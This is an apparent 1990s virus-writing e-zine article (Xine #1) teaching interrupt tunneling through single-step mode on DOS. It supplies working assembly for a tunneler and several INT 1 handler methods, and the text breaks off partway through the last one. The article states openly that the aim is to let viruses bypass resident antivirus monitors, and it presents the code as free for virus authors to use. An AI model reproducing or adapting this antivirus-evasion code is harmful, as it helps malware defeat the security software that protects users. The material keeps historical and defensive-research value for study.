home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / XINE-1.ZIP / XINE-1.010 < prev    next >
Text File  |  1996-10-25  |  58KB  |  1,182 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 010 |
  4.                                         \-----------------------------/
  5.  
  6.                  ┌───────────────────────────────────────┐
  7.                  │               Tunneling               │
  8.                  │                 with                  │
  9.                  │            Single step mode           │
  10.                  └───────────────────────────────────────┘
  11.  
  12.     ┌──────────────┐
  13.     │ Introduction │
  14.     └──────────────┘
  15.     You are an amoeba, the lowest level life form of assembly coder around. 
  16. After struggling away from conventional programming ideas into the strange
  17. murky world of viruses, you've steadily built up your library of techniques
  18. to use in your viruses and have advanced to a fairly decent level of
  19. accomplishment, a parasitic TSR COM infector.  Now, with such a great
  20. technological marvel under your belt, you, the amoeba, are beginning to ask
  21. some serious questions about more advanced virus programming techniques, such
  22. as... how do I stealth?  what is polymorphism?  what is tunneling?  and
  23. unfortunately, you're not getting many answers back.  Well, finally, there's
  24. someone who understands the position you're in.  Little amoeba, prepare to
  25. become leet. 
  26.  
  27.     Yes, that's right, you are now reading the series of documents that will
  28. change your views about virus coding and yes, even the world situation in
  29. general, forever.  No longer will your creations wallow in the shadows of
  30. crappy AV behaviour blockers.  No longer will your viruses simply go around
  31. copying themselves from computer to computer, languidly taking orders from
  32. shitty AV software.  From this document onwards, your viruses will be the
  33. boss... the way things were meant to be! 
  34.  
  35.     Yes, welcome to my series of documents on tunneling, the only series that
  36. will teach you absolutely everything there is to know about tunneling... with
  37. easy to understand step by step instructions and complete source codes and
  38. example programs for you to look at, because, after all, you're only an amoeba!
  39. If however, you're an amoeba bent on the destruction of the Earth with your
  40. mega-cool destructive viruses, fuck off, there is no room for you.  Virus
  41. coding is an art, lets keep it that way.  
  42.  
  43.     ┌────────────────────┐
  44.     │ What is tunneling? │
  45.     └────────────────────┘
  46.     So now you've read that and I've got you all excited, you're beginning to
  47. think hard about what tunneling could possibly be and what makes it cool enough
  48. to write a four document series on.  Tunneling, in the simplest terms possible,
  49. is a technique used to find the original entrypoint of an interrupt before any
  50. programs began hooking into it.  What does this mean?  Well, if you have the
  51. original interrupt entrypoint, your viruses will be able to flow over resident
  52. AV programs with ease, bypassing any protection they may offer, rendering them
  53. useless.  Now wouldn't that be nice?
  54.  
  55.     ┌────────────────────────────────────┐
  56.     │ What types of tunneling are there? │
  57.     └────────────────────────────────────┘
  58.     Of course, tunneling isn't as simple as just one technique.  Just like
  59. many other methods used in virus programming, tunneling can be performed in
  60. many different ways, each having reasons it should be implemented over the
  61. others (pros) and reasons it shouldn't (cons).  Methods of tunneling come in
  62. three main flavours: single steppers, code scanners, and code emulators.
  63.  
  64.     This series will teach you EVERYTHING you need to know about tunneling
  65. and associated topics, and the documents within it need to be read one after
  66. the other so you can fully understand what I'm talking about.  Since the area
  67. of tunneling hasn't got many official terms assigned to it, I've had to give
  68. names to various things etc, but this doesn't mean everyone calls these
  69. things by the same name.
  70.  
  71. ─────────────────────────────────────────────────────────────────────────────
  72. Section 1:  How interrupts work (ONLY for the lesser amoeba among us)
  73. ─────────────────────────────────────────────────────────────────────────────
  74.                       Bit fields of the flags register
  75.  
  76.                       │F│E│D│C│B│A│9│8│7│6│5│4│3│2│1│0│
  77.  OF  Overflow Flag  ───────────┘ │ │ ^ │ │   │   │   └───  CF  Carry Flag
  78.  DF  Direction Flag ─────────────┘ │ │ │ │   │   └───────  PF  Parity Flag
  79.  IF  Interrupt Flag ───────────────┘ │ │ │   └───────────  AF  Auxiliary Flag
  80.  TF  Trap Flag      ─────────────────┘ │ └───────────────  ZF  Zero Flag
  81.                                        └─────────────────  SF  Sign Flag
  82.  
  83.     The interrupt vector table (IVT) is a list of 256 doublewords starting at
  84. address 0:0 and going to address 0:400h.  Each doubleword is a segment:offset
  85. pair, pointing to addresses in memory where execution is to go to once you
  86. execute the interrupt corresponding to the doubleword.  Each doubleword is
  87. given a number, starting from 0, and that is its corresponding interrupt.  So,
  88. at the address 0:0 is a doubleword pointer to the interrupt 0 handler, at the
  89. address 0:4 is a doubleword pointer to the interrupt 1 handler, and so on.  
  90.  
  91.     To do an interrupt, you execute the 'INT x' instruction where x is the
  92. interrupt number you want to execute.  When you do this instruction, the CPU
  93. does the following things in order: 
  94.         decrements SP by 2 and copies the flags register to SS:SP
  95.         clears the TF and IF bits in the flags register
  96.         decrements SP by 2 and copies CS register to SS:SP
  97.         decrements SP by 2 and copies IP register to SS:SP
  98.         loads CS:IP with the doubleword at [0:(x*4)] (the doubleword in the
  99.             IVT corresponding with your 'x' value)
  100.  
  101.     When an interrupt handler finishes its work, it returns to the calling code
  102. by using an 'IRET', which effectively is a RETF followed by a POPF.  When an
  103. interrupt wishes to modify the flags register for the calling code, such as to
  104. indicate an error occured, it must modify the flags register as saved on the
  105. stack, because that is what the end-result flags will look like, or
  106. alternatively, issue a 'RETF 2' which will execute a RETF, skipping the flags
  107. on the stack, leaving the current flags as the returned flags.
  108.  
  109.     When a program wishes to hook an interrupt, it redirects the interrupt to
  110. itself by updating the corresponding doubleword in the IVT.  Also, when
  111. writing your interrupt handler (the code executed when someone does the
  112. corresponding interrupt), there are some things you need to take into mind.  
  113.  
  114.     First, you must remember that before you hooked the interrupt, there was an
  115. interrupt there before you :)  You have to decide wether to ignore that
  116. interrupt or to execute it before or after your own interrupt code.  If you
  117. were to ignore something like interrupt 021h (DOS's function handler) after
  118. replacing it with your own, your computer would screw up :)  However, hooking a
  119. NULL interrupt (one that isn't used by anyone else) you can just ignore the
  120. previous handler and replace it on exit (if your interrupt handler is only
  121. temporary).  
  122.  
  123.     However, normally, you'll want to pass control on to their previous
  124. interrupt handler, which can be done in two ways depending on what you are
  125. really trying to do.  You can either use post or pre execution chaining. 
  126. When you pre-execute, you call the original interrupt handler in your code
  127. before you start doing whatever it is your interrupt handler does, with a
  128. simulated interrupt call, usually something like: 
  129.         pushf
  130.         call far ptr [saved_address]
  131.     
  132.     If you want your code to be executed before the other interrupt handler
  133. (for reasons such as to intercept a certain function call of that interrupt)
  134. you use post execution chaining, by adding this to the end of your interrupt
  135. handler: 
  136.         jmp far ptr [saved_address]
  137.  
  138.     In pre-execution chaining, you have the responsibility to pass control back
  139. to the calling code with one of the two return models, and in post-execution
  140. chaining, you don't need to pass control back, as that's the duty of the next
  141. interrupt handler in the chain.  One last thing to remember, is that when using
  142. pre-execution, you must preserve the flags from the return of that interrupt in
  143. case some error condition is set in the flags the calling code needs to know
  144. about.  If you don't preserve the flags, you're in for alot of trouble.  For
  145. instance: 
  146.     my_stupid_interrupt_handler:
  147.         pushf
  148.         call far ptr [old_interrupt_address]
  149.                                 ; Call the old interrupt handler, which returns
  150.                                 ; an error condition
  151.         ... blah blah blah, lots of code
  152.                                 ; Our code fucks with the flags and shit while
  153.                                 ; doing its job
  154.         iret        
  155.                                 ; We exit our interrupt handler, restoring
  156.                                 ; the original flags and losing ALL the old
  157.                                 ; flag information
  158.  
  159.     my_smart_interrupt_handler:
  160.         pushf
  161.         call far ptr [old_interrupt_address]
  162.                                 ; Call the old interrupt handler, which returns
  163.                                 ; an error condition
  164.         pushf                   ; We save the flags on return from the 
  165.                                 ; interrupt
  166.         ... blah blah blah, lots of code
  167.                                 ; Our code fucks with the flags and shit while
  168.                                 ; doing its job
  169.         popf                    ; We restore the flags as they were on return
  170.                                 ; from the old interrupt handler
  171.         retf 2                  ; We exit with these flags instead of the  
  172.                                 ; flags pushed on the stack on execution
  173.                                 ; of the interrupt
  174.  
  175.     When you execute an interrupt that has been hooked by others, each
  176. interrupt handler passes on control to the previous interrupt by one of these 2
  177. types of chaining constructs.  This 'chain' of interrupt handlers is called the
  178. interrupt chain, and will be referred to as such from here onwards.  
  179.  
  180. ─────────────────────────────────────────────────────────────────────────────
  181. Section 2:  Single step mode
  182. ─────────────────────────────────────────────────────────────────────────────
  183.     Single step mode was created by INTEL way back in the days of the 8088
  184. processor and is available in each processor after this, which is good for us
  185. since our tunneling routine will now be compatable on all INTEL compatable
  186. processors.  Single step mode was originally created by INTEL to aid in the
  187. creation of debugging programs, and luckily for us it is very usefull in
  188. viruses and tunneling.  
  189.  
  190.     The CPU has a bit in the flags called the TF.  The TF decides whether the
  191. CPU is in single step mode or not.  If it is set, single step mode is on, and
  192. if it is cleared, then single step mode is off.  Before executing each
  193. instruction, the CPU checks to see if the TF is set, and if it is, it does an
  194. INT 1.  When INT 1 has finished, it executes the instruction and repeats the
  195. cycle.  As such, on the entry to each INT 1, the stack will contain the CS:IP
  196. of the instruction that is about to be executed on exit from the interrupt (and
  197. also the flags to be restored after the end of the interrupt, but the
  198. information on the stack is NOT in this order).  On computer bootup, the INT 1
  199. address is set up to point to an 'IRET' in the ROM BIOS code.
  200.  
  201.     The reason single step mode is beneficial to us is that we can set up our
  202. own INT 1 handler and single step our way through another program's interrupt
  203. handler code.  As we go through their interrupt code, we can check the CS:IP of
  204. each instruction, or the instruction itself, to see if it is at the original
  205. entrypoint of the interrupt, and if it is we can save this address in a
  206. variable we can use anytime to bypass resident AV programs.
  207.  
  208.     For example, say we have a bad AV program that has hooked into INT 13 (the
  209. disk handler interrupt) and warns the user when any code writing to the
  210. bootsector of disks is detected.  It might look something like this:
  211.     interrupt_handler:
  212.         ... checks registers for a disk write to boot sector ...
  213.         je warn_user
  214.         jmp far ptr [original_interrupt_13]
  215.                                 ; Chain back to the previous interrupt 13
  216.     warn_user:
  217.         ... warning lights, ding ding, sirens, blah blah blah ...
  218.  
  219.     Now, in our INT 1 handler with single stepping mode on, we are called
  220. before every instruction you saw above is executed.  In our interrupt handler
  221. we might look something like this: 
  222.     our_handler:
  223.         ... get CS:IP of instruction about to be executed off of stack ...
  224.         ... see if we're at the original interrupt entrypoint ...
  225.         jne exit_handler
  226.         ... save address of instruction's CS:IP as interrupt entrypoint ...
  227.     exit_handler:
  228.         ... exit, no need to chain back to other handlers ...
  229.  
  230.     In this way, we can setup single step mode, execute an INT 13 using a
  231. 'safe' command.. such as 'Request Disk Status' or something that won't set off
  232. the AV... and our INT 1 handler will, in the end, have saved the address of the
  233. interrupt entrypoint, which from then on we can use, bypassing the AV software
  234. altogether.  How we detect if we're at the original interrupt entrypoint will
  235. be discussed later.  
  236.  
  237.     There are a few different ways to implement an INT 1 handler that will tell
  238. us the original interrupt entrypoint, and this is where you can prove yourself
  239. to be more than just another amoeba, by creating innovative INT 1 handlers. 
  240. But since this is a tutorial, I'll teach you a few methods of both tried and
  241. true INT 1 handlers and a few of the more rare ones.  But first we need to
  242. learn how to set up for single step mode.  
  243.  
  244.     Recall from earlier our discussion on how the CPU handles an 'INT x'
  245. instruction and how we turn on single step mode.  You may remember that the TF
  246. toggles between single step modes off/on, and that an 'INT x' instruction turns
  247. off the TF after saving the flags onto the stack.  You may also remember that
  248. the reason we are learning how to use single step mode is to tunnel an
  249. interrupt.  If you put two and two together you'll realise that if we turn on
  250. single step mode and execute an 'INT x' instruction in an effort to tunnel an
  251. interrupt, our TF will be cleared for the duration of the interrupt execution
  252. and therefore our single step mode and interrupt handler disabled.  On exit
  253. from the interrupt, our flags are popped off of the stack, and our INT 1
  254. handler is re-enabled.  
  255.  
  256.     Also, if we simply hook INT 1, turn on single step mode, and execute the
  257. interrupt we are trying to tunnel, our damn single step mode won't be active
  258. for the duration of the interrupt!  The answer to our prayers is simulating the
  259. 'INT x' instruction, which is stupendously easy to do.  Simply push the flags
  260. onto the stack and issue a far call to the address of the interrupt you are
  261. executing.  You must also remember to set the registers required for use by the
  262. interrupt, just as in an 'INT x' instruction.  Be sure to have a spare copy of
  263. the flags saved on the stack without the TF set so on exit from the interrupt
  264. handler you can disable single step mode easily.
  265.  
  266.     Now that you know all about single step mode and what needs to be done to
  267. use it, we can now start writing the actual setup and calling code for a
  268. tunneling routine.  In our sample routine, no provisions are made for delta
  269. offsets, but they can easily be added later on if necessary.  Also, DS is
  270. assumed to equal CS for our example, and all code and data is within the same
  271. segment (as per usual for viruses).  
  272.  
  273. tunneler proc near
  274.     push ds                         ; don't want to destroy our DS do we?
  275.     mov ax, 03501h
  276.     int 021h
  277.     mov [orig_1], bx
  278.     mov [orig_1+2], es              ; store original INT 1 address
  279.  
  280.     xor ax, ax
  281.     mov es, ax
  282.     cli
  283.     mov word ptr [es:4], offset int_1_handler
  284.     mov [es:6], cs
  285.     sti                             ; redirect INT 1 to our routine
  286.     mov [return_address], 0
  287.     mov [return_address+2], 0       ; set our initial variable (which holds the
  288.                                     ; address of the original interrupt 
  289.                                     ; entrypoint on exit from our handler)
  290.                                     ; to 0000:0000
  291.     
  292. ;   We can add some code here which is for the setup of specific types
  293. ;                         of INT 1 handlers
  294.         
  295.     xor ax, ax
  296.     mov ds, ax                      ; our DS points to IVT
  297.  
  298.     pushf                           ; save copy of flags with TF cleared
  299.     pushf
  300.     pop ax
  301.     or ah, 1
  302.     push ax
  303.     popf                            ; set TF
  304.  
  305. ;   We set up the registers for our interrupt call here
  306.  
  307.     pushf
  308.     call far ptr [(xx*4)]           ; simulate interrupt (xx=interrupt number)
  309.                                     ; *4 because that's the length of a dword
  310.  
  311.     popf                            ; disable single step mode
  312.  
  313.     xor ax, ax
  314.     mov es, ax
  315.     cli
  316.     mov ax, [cs:orig_1]
  317.     mov [4], ax
  318.     mov ax, [cs:orig_1+2]
  319.     mov [6], ax
  320.     sti                             ; reset INT 1 handler to original
  321.  
  322.     pop ds                          ; don't want to destroy our DS do we?
  323.     ret
  324. tunneler endp
  325.  
  326. ─────────────────────────────────────────────────────────────────────────────
  327. Section 3:  Single step mode interrupt routines
  328. ─────────────────────────────────────────────────────────────────────────────
  329.     All that was well and easy, but now, what about the actual INT 1 handler
  330. itself?  Well, from here it starts getting complicated, but, for an advanced
  331. amoeba such as you it shouldn't take too long to understand.  So far we
  332. haven't really delved much into how we know if we've found the original
  333. interrupt entrypoint yet or not, because it depends totally on the INT 1
  334. handler you choose to use.  From here, I will show you five methods, and
  335. discuss the strong and weak points of each.  From this point I will only
  336. discuss the tunneling of interrupts 021h and 013h, as these are the main ones
  337. you'll need.  Depending on which interrupt routine you use, other interrupts
  338. can be tunneled just as easily as these two.  
  339.  
  340.     ┌──────────────────────┐
  341.     │ SEGMENT CHECK method │
  342.     └──────────────────────┘
  343.     The SEGMENT CHECK method of tunneling is probably the very first single
  344. step tunneling routine to ever be used, or at least, I've seen it used in
  345. viruses older than any of the viruses using the newer techniques. 
  346. Unfortunately, people aren't really using it much anymore these days, which
  347. is a shame considering it is such a great routine.  
  348.  
  349.     In case you didn't know, DOS allocates memory from the bottom up.. that
  350. is.. from above the IVT and BIOS data area, up to the top of available
  351. memory.  The very first things that load off of a DOS disk are IO.SYS and
  352. MSDOS.SYS, which contains the I/O routines and DOS kernel respectively.  The
  353. DOS kernel is the real workhorse for all of DOS as it does most of the
  354. housekeeping tasks for DOS and also houses the original interrupt 021h
  355. vector.  
  356.  
  357.     DOS organises memory into blocks with header information called an MCB,
  358. short for Memory Control Block.  The very first MCB that DOS allocates is
  359. used for the storage of resident programs loading out of CONFIG.SYS, and is
  360. located just above the DOS kernel in memory.  To find the first MCB block we
  361. use the code below, however it is for DOS versions 3.00 and above only. 
  362. Early on in your code you can check the DOS version and if it is BELOW 3.00,
  363. you should probably bail out of your virus anyway.  If this annoys you
  364. however, you can check the CONS section of this routine for another method of
  365. using the first_mcb value.  
  366.  
  367. get_first_mcb proc near
  368.         mov ah, 052h
  369.         int 021h                    ; get DOS information list
  370.         mov ax, [es:bx-2]           ; get FIRST_MCB field
  371.         mov [first_mcb], ax         ; save it into a variable
  372.         ret
  373. get_first_mcb endp
  374.     
  375.     If you cast your mind back to our original discussion on why single step
  376. mode is beneficial for us, you'll remember I said that we can check the CS:IP
  377. of each instruction so we can see if we're near the original interrupt
  378. entrypoint.  So, now that we know this entrypoint is located in the DOS
  379. kernel, and that the DOS kernel lies just below the first MCB (which we have
  380. the address of), we can begin to write our INT 1 handler.  Its job will be to
  381. check the CS:IP of each instruction as it is about to be executed, and see if
  382. the CS: is below the first MCB.  If it is, we are in the DOS kernel, and we
  383. save the CS:IP value as the original interrupt entrypoint, and we disable
  384. ourselves.  
  385.  
  386.     For tunneling interrupt 013h, we can go about segment checks in two ways,
  387. the old way, or the new way.  The old way was developed back before things
  388. like extended/expanded memory, etc, and as such, as you'll see later, it
  389. doesn't work well in the newer environments.  The new way is alot more
  390. compatible with these systems, but may not be compatible with all strange
  391. DOS-hacks such as DR-DOS/PC-DOS.  It might be, I just don't know.  
  392.  
  393.     The old way depends on the REAL original entrypoint to interrupt 013h
  394. residing in the ROM BIOS, which is where the hard-coded bios routines are
  395. located that your computer uses to boot up.  This used to be okay, as you
  396. simply checked the CS: of each instruction against the ROM BIOS segment, and if
  397. it was equal, you're in the original interrupt entrypoint so you save the value
  398. and exit, just like the DOS kernel method.  However, this has some problems in
  399. that, the ROM BIOS segments for interrupt 013h aren't always in the same place
  400. for different computers. Some start at 0c800 and, some at 0f000h, and you don't
  401. know which one the disk handler is stored in beforehand.  
  402.  
  403.     However, this method has complications in the computers of today, depending
  404. on how you code your routine.  If you decide to check for CS>=0c800h, as most
  405. viruses do to cover both the old and new style ROM BIOS segments, you're in
  406. trouble.  DOS 5+ designed something called the UMB(upper memory block), which
  407. is a method of storing data in the holes between the BIOS ROM's in upper
  408. memory.  This causes a problem for us in that these addresses can be above the
  409. ROM BIOS segment we define, unless we use 0f000h as our segment, and this isn't
  410. valid on some computers.  On top of this, there is another place ABOVE 0f000h
  411. where we can store data on 286 and above computer systems, so checking for
  412. CS>=0f000h won't work either.  To combat this, simply modify your code to check
  413. for CS=0c800h OR CS=0f000h, or use the new routine.  The problem with checking
  414. for both, is that it is feasable that some ROM BIOS manufacturers, on bootup,
  415. dont align their interrupt handlers on proper segment boundaries (like instead
  416. of 0f000:00010h, they use 0f001:0000h which equates to the same physical
  417. address).  I have not, however, seen a computer like this as yet.  
  418.  
  419.     So, although we could use the old routine, it is not recommended.  So, what
  420. can we do?  Well, we use the next best thing available to us, the handler DOS
  421. appends onto the original interrupt 013h as soon as it loads up.  This handler
  422. is *ALWAYS* in segment 070h (for MS-DOS at least), and so we have a constantly
  423. valid address in the DOS kernel we can tunnel to.  Perfect, our problem is
  424. solved as the brand of computer and memory installed doesn't matter anymore!
  425. Our handler will check for CS:=070h, and if it is equal, CS:IP is saved.  The
  426. extra bonus with this method is we can combine it into the same routine as
  427. tunneling for interrupt 021h by simply changing the first_mcb value to 070h and
  428. calling the same routine, saving us code space.  
  429.  
  430. ; Start of INT 1 handler using SEGMENT CHECK method
  431.     first_mcb      dw 0
  432.     segment_status db -1
  433.     segment_type   db 0             ; 0=DOS KERNEL scan
  434.                                     ; 1=IO KERNEL scan
  435.                                     ; 2=ROM BIOS scan
  436. segment_handler proc far
  437.     push bp
  438.     mov bp, sp
  439.     push ax
  440.     cmp [cs:segment_status], 0
  441.     je segment_exit                 ; exit if we've finished tunneling already    
  442.     mov ax, [bp+4]                  ; get CS:
  443.     cmp [cs:segment_type], 1
  444.     je segment_io_scan
  445.     cmp [cs:segment_type], 2
  446.     je segment_bios_scan
  447.     cmp ax, [cs:first_mcb]
  448.     jb segment_found                ; check CS: is in DOS kernel
  449.     jmp segment_exit
  450. segment_io_scan:
  451.     cmp ax, 070h
  452.     je segment_found
  453.     jmp segment_exit                ; check CS: is in IO kernel
  454. segment_bios_scan:
  455.     cmp ax, 0c800h                  ; check for XT bios
  456.     je segment_found
  457.     cmp ax, 0f000h                  ; check for XT+ bios
  458.     je segment_found
  459. segment_exit:
  460.     pop ax
  461.     pop bp
  462.     iret
  463. segment_found:
  464.     mov ax, [bp+4]
  465.     mov [cs:return_address+2], ax
  466.     mov ax, [bp+2]
  467.     mov [cs:return_address], ax     ; save CS:IP
  468.     mov [cs:segment_status], 0      ; indicate to stop tunneling
  469.     jmp segment_exit
  470. segment_handler endp
  471. ; End of INT 1 handler using SEGMENT CHECK method
  472.  
  473.     ┌──────┐
  474.     │ Pros │
  475.     └──────┘
  476.     Using segment checks for tunneling has many various pros.  The routine
  477. itself is very small, and also quick and easy to code.  Also, the routine
  478. itself has withstood the test of time, as it was invented back in the time of
  479. viruses such as DARK AVENGER and FRODO, and it still works!  
  480.  
  481.     ┌──────┐
  482.     │ Cons │
  483.     └──────┘
  484.     I've heard that some memory managers can play around with the address
  485. returned as the first MCB by DOS's get list-of-lists function, making this
  486. routine worthless in such cases, however, I have not been able to
  487. substantiate these remarks.  If it IS true, then the kernel is still below
  488. the first MCB it's just the first MCB address has been hidden from your view.
  489. If you're really picky, I've also heard the DOS kernel is ALWAYS below
  490. segment 0300h, and as such you could use this as your first_mcb value just
  491. incase a memory manager decides to make things difficult for you.  However,
  492. once again, that remark is, so far, unsubstantiated.  
  493.  
  494.     Finally, this is sortof DOS-version dependant.  I'm not sure it will work
  495. on all the generic DOS versions, as they could be using different segment
  496. values and stuff to store data and code in, as no normal program will ever rely
  497. on DOS code being in certain segments to function properly, and as such they
  498. have no need NOT to change segments around.  
  499.  
  500.     ┌───────────────────────┐
  501.     │ HAND-over-HAND method │
  502.     └───────────────────────┘
  503.     I call this method the HAND-over-HAND method because it is similar to
  504. slowly pulling yourself up the interrupt chain that you are tunneling.  It is
  505. very similar to the SEGMENT CHECK method, but slightly different and works by
  506. using a different idea.  
  507.  
  508.     To start off with, we have a variable set up with the hand_segment variable
  509. equal to 0ffffh.  Then, in our interrupt handler, we compare the CS: of the
  510. hand_segment variable against the CS: of the instruction we are about to
  511. execute.  If our instruction is in a lower part of memory than the interrupt
  512. handler, we save its CS:IP and update the hand_segment with its CS: value. 
  513. This continues until our interrupt handler is disabled.  By the end, of the
  514. interrupt chain, the last CS:IP value we saved is the lowest level of interrupt
  515. handler control is passed to.  
  516.  
  517.     When we handle the different types of INT 13 tunneling, however, we need to
  518. modify our code.  For the old method of ROM BIOS detection, we must go UP in
  519. memory, as the ROM BIOS is at the top of memory, not down the bottom.  For the
  520. new style scanning, we can use the same routine as for the INT 21 handler.  
  521.  
  522. ; Start of INT 1 handler using HAND-over-HAND method
  523. hand_segment dw 0                   ; Where we save our CS: values
  524. hand_type    db 0                   ; 0=Go down
  525.                                     ; 1=Go up
  526. hand_handler proc far
  527.     push bp
  528.     mov bp, sp
  529.     push ax
  530.     mov ax, [bp+4]
  531.     cmp byte ptr [cs:hand_type], 1
  532.     je go_up
  533. go_down:
  534.     cmp ax, [cs:hand_segment]
  535.     jb hand_over_hand
  536.     jmp hand_exit
  537. go_up:
  538.     cmp ax, [cs:hand_type]
  539.     ja hand_over_hand
  540. hand_exit:
  541.     pop ax
  542.     pop bp
  543.     iret
  544. hand_over_hand:
  545.     mov [cs:return_address+2], ax
  546.     mov [cs:hand_segment], ax
  547.     mov ax, [bp+2]
  548.     mov [cs:return_address], ax     ; save CS:IP
  549.     jmp hand_exit
  550. hand_handler endp
  551. ; End of INT 1 handler using HAND-over-HAND method
  552.  
  553.     ┌──────┐
  554.     │ Pros │
  555.     └──────┘
  556.     It's small, and doesn't rely on hard coded segments like the SEGMENT CHECK
  557. method does.  
  558.  
  559.     ┌──────┐
  560.     │ Cons │
  561.     └──────┘
  562.     Once again, it may not work on all DOS versions, however, I can't see any
  563. reason for it NOT to work on DR-DOS and the like.  
  564.  
  565.     ┌─────────────────────┐
  566.     │ OPCODE CHECK method │
  567.     └─────────────────────┘
  568.     Now that you know how to use the SEGMENT CHECK method, it's time to move
  569. onto greener pastures and learn more advanced methods of single step
  570. tunneling.  The method I'm about to show you isn't too crash hot, even though
  571. it has been used in some rather major viruses (LADY DEATH is one recent one).
  572. It is shown to you merely as a stepping stone into the next single step
  573. routine, and you also need to know this one off by heart in the next document
  574. in this tunneling series.  
  575.  
  576.     This method is based on the fact that when a program hooks into an
  577. interrupt chain, somewhere in its interrupt handler it should pass control
  578. onto the next interrupt handler in the chain.  This is especially true for
  579. interrupts 021h and 013h, but pretty much the same for all the other
  580. interrupts too.  
  581.  
  582.     I have never seen the interrupt handlers of two programs in the same
  583. segment, and I doubt there ever will be such a case, and so, to pass control
  584. onto another handler, the interrupt handler must use some method of execution
  585. transferrance such as: 
  586.         jmp far ptr offset:seg 
  587.         OR
  588.         jmp far ptr [variable_holding_address] 
  589.         OR 
  590.         call far ptr offset:seg 
  591.         OR
  592.         call far ptr [variable_holding_address] 
  593.  
  594.     Anyway, the job of our INT 1 handler in this section is the check the
  595. instruction currently being executed by the CPU for a 'JMP FAR' or a 'CALL
  596. FAR'.  Each time we see instructions like these, we save the address of where
  597. we will be next over our previous original interrupt handler address, and
  598. hopefully, when the last interrupt handler chains back to the original handler
  599. , we will have our CS:IP, as the last handler in the chain does not usually
  600. execute far jumps itself.  If the interrupt we are tunneling has not been
  601. hooked, a value will not be returned as the original interrupt entrypoint.  
  602.  
  603.     The only other thing to note before going into the actual code for this,
  604. is about segment overrides.  The instructions shown above, when referencing a
  605. variable, can use segment overrides.  The CPU sees the segment overrides and
  606. the instruction after it as one whole instruction, and as such we need to
  607. take out the overrides if they're there, and use them later if needed, which
  608. is surprisingly easy to do.  
  609.  
  610. ; Start of INT 1 handler using OPCODE CHECK method
  611. _override dw 0                      ; used to store current override
  612. _cs       dw 0                      ; CS of instruction being executed, needed
  613.                                     ; to simplify override usage
  614. _ds       dw 0                      ; DS before we modified it, needed to 
  615.                                     ; simplify override usage
  616.  
  617. opcode_handler proc far
  618.     push bp
  619.     mov bp, sp
  620.     push ax
  621.     push si
  622.     push ds                         ; save registers
  623.     mov ax, [bp+4]
  624.     mov [cs:_cs], ax                ; save CS
  625.     mov [cs:_ds], ds                ; save DS
  626.     mov [cs:_override], ds          ; setup override as default
  627.     lds si, [bp+2]                  ; get address of instruction into DS:SI
  628.     cld
  629. read_opcode:
  630.     lodsb
  631.     cmp al, 026h
  632.     je es_override                  ; use ES override
  633.     cmp al, 036h
  634.     je ss_override                  ; use SS override
  635.     cmp al, 02eh
  636.     je cs_override                  ; use CS override
  637.     cmp al, 03eh
  638.     je ds_override                  ; use DS override
  639.  
  640.     cmp al, 0eah
  641.     je immediate                    ; jmp far off:seg
  642.     dec si
  643.     lodsw
  644.     cmp ax, 02effh
  645.     je variable                     ; jmp far [variable]
  646.     cmp ax, 09ah
  647.     je immediate                    ; call far off:seg
  648.     cmp ax, 01effh
  649.     je variable                     ; call far [variable]
  650.  
  651. opcode_exit:
  652.     pop ds
  653.     pop si
  654.     pop ax
  655.     pop bp
  656.     iret
  657.  
  658. immediate:
  659.     lodsw
  660.     mov [cs:return_address], ax
  661.     lodsw
  662.     mov [cs:return_address+2], ax   ; save address of area we're going into
  663.     jmp opcode_exit
  664.  
  665. variable:
  666.     lodsw
  667.     mov si, ax
  668.     mov ax, [cs:_override]
  669.     mov ds, ax
  670.     jmp immediate                   ; extract off:seg
  671.  
  672. ds_override:
  673.     mov ax, [cs:_ds]
  674.     mov [cs:_override], ax
  675.     jmp read_opcode
  676. cs_override:
  677.     mov ax, [cs:_cs]
  678.     mov [cs:_override], ax
  679.     jmp read_opcode
  680. es_override:
  681.     mov [cs:_override], es
  682.     jmp read_opcode
  683. ss_override:
  684.     mov [cs:_override], ss
  685.     jmp read_opcode    
  686. opcode_handler endp
  687. ; End of INT 1 handler using OPCODE CHECK method
  688.  
  689.     ┌──────┐
  690.     │ Pros │
  691.     └──────┘
  692.     The good thing about this routine is that it isn't depending on any segment
  693. value.  It is simply going along blindly saving information, and as such, it
  694. should work on mostly any interrupt which chains back to others, and doesn't
  695. have a flaw of not working on certain DOS implementations.  
  696.  
  697.     ┌──────┐
  698.     │ Cons │
  699.     └──────┘
  700.     Unfortunately, this routine has many cons.  You cannot check for every
  701. method of jumping into another segment, and as such this routine could miss the
  702. important last value.  Also, it is stupendously easy to confuse, and if the
  703. last interrupt handler in the chain does some intersegment jumps of its own
  704. (which although not likely, it is highly possible), you end up with a garbage
  705. original interrupt entrypoint value.  
  706.  
  707.     ┌────────────────┐
  708.     │ CS:LIST method │
  709.     └────────────────┘
  710.     This is a method I developed myself to fix up some of the problems
  711. associated with the OPCODE CHECK method.  Although I haven't seen it used
  712. anywhere, it is highly possible somebody thought about it before me.  Either
  713. way, all the code in this document is free for you to use anyway so it
  714. doesn't really matter :) 
  715.  
  716.     This handler is the cream of the crop.  Although it itself has some
  717. problems, it has the pros of OPCODE CHECK methods, and a lot less of the
  718. cons.  It is based somewhat on both SEGMENT CHECK and OPCODE CHECK methods,
  719. and as such is highly robust :) 
  720.  
  721.     We start of with a small list of words, about 10 or 15 should do it.  To
  722. start with, we initalize the list to 0's and put the CS: of our code right at
  723. the top of the list.  Then, for each time our INT 1 handler is called, we
  724. check the CS: value of the code we are executing against the values in the
  725. list.  If there is a match, we do nothing.  If we do NOT find a match for the
  726. CS: in the list, we must have done an intersegment jump, so we copy CS: into
  727. the next available slot in the list, and save the complete CS:IP as our
  728. original interrupt entrypoint.  By the end of the interrupt chain, we will
  729. have a list of all the changes in CS: and the CS:IP of the last changed CS:
  730. to a previously undefined value, our original interrupt entrypoint.  
  731.  
  732.     The last thing to note in this INT 1 handler is the check to make sure
  733. the CS: values don't outgrow the space allocated for them.  If it does, they
  734. will start overwriting our code, and the computer will crash, and as such
  735. this check is necessary.  Also, it sets the original interrupt entrypoint to
  736. 0:0 to tell the calling code the tunnel was unsuccessfull if this occurs.  
  737.  
  738. ; Start of INT 1 handler using CS:LIST method
  739. list_begin: 
  740.     dw 015h dup(0)
  741. list_end:
  742.  
  743. list_handler proc far
  744.     push bp
  745.     mov bp, sp
  746.     push ax
  747.     push bx
  748.     mov ax, [bp+4]
  749.     lea bx, [list_begin]
  750. list_traverse:
